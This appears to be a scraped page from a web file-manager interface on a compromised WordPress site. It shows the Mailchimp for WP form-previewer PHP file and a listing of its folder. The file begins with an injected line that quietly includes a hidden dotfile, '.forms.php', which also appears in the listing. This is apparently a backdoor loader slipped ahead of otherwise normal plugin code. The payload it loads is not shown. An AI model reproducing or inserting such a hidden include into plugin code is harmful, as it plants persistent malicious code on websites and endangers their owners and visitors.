PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
mailchimp-for-wp
/
includes
/
forms
<?php if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class MC4WP_Form_Previewer { public function add_hooks() { add_action( 'parse_request', array( $this, 'listen' ) ); } public function listen() { if ( empty( $_GET['mc4wp_preview_form'] ) ) { return; } try { $form = mc4wp_get_form( $_GET['mc4wp_preview_form'] ); } catch ( Exception $e ) { return; } show_admin_bar( false ); add_filter( 'pre_handle_404', '__return_true' ); remove_all_actions( 'template_redirect' ); add_action( 'template_redirect', array( $this, 'load_preview' ) ); } public function load_preview() { // clear output, some plugin or hooked code might have thrown errors by now. if ( ob_get_level() > 0 ) { ob_end_clean(); } $form_id = (int) $_GET['mc4wp_preview_form']; status_header( 200 ); require dirname( __FILE__ ) . '/views/preview.php'; exit; } }
[+]
..
[-] class-form-message.php
[edit]
[-] class-widget.php
[edit]
[-] functions.php
[edit]
[-] class-form-amp.php
[edit]
[-] class-google-recaptcha.php
[edit]
[-] class-output-manager.php
[edit]
[+]
views
[-] class-asset-manager.php
[edit]
[-] class-admin.php
[edit]
[-] admin-functions.php
[edit]
[-] class-form-manager.php
[edit]
[-] class-form-element.php
[edit]
[-] class-form-previewer.php
[edit]
[-] .forms.php
[edit]
[-] class-form-tags.php
[edit]
[-] class-form.php
[edit]
[-] class-form-listener.php
[edit]